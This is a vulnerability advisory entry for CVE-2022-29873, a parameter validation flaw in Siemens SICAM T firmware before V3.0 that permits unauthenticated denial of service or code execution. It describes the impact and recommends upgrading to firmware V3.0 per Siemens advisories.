CVE-2022-29873
Overview
This vulnerability is a parameter validation flaw in Siemens SICAM T firmware versions prior to V3.0. The affected component improperly handles input parameters in specific HTTP GET and POST requests, failing to enforce constraints on user-supplied data. This improper validation enables manipulation of internal program control flow within the device's embedded software.
Vulnerability Description
A vulnerability has been identified in SICAM T (All versions < V3.0). Affected devices do not properly validate parameters of certain GET and POST requests. This could allow an unauthenticated attacker to set the device to a denial of service state or to control the program counter and, thus, execute arbitrary code on the device.
Impact
An unauthenticated attacker with network access can exploit this vulnerability to cause a denial of service or execute arbitrary code on the affected SICAM T device. This can result in full device compromise, including disruption of operational technology processes controlled by the device. The CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates no authentication or user interaction is required, increasing the severity and ease of exploitation in critical infrastructure environments.
Solution
Siemens recommends upgrading SICAM T devices to firmware version 3.0 or later as detailed in security advisories SSA-165073 and SSA-471761 available on the Siemens CERT portal. These advisories include instructions for applying the firmware update to eliminate the vulnerability. Operators should follow the vendor's official patching procedures and verify device firmware versions to ensure remediation.
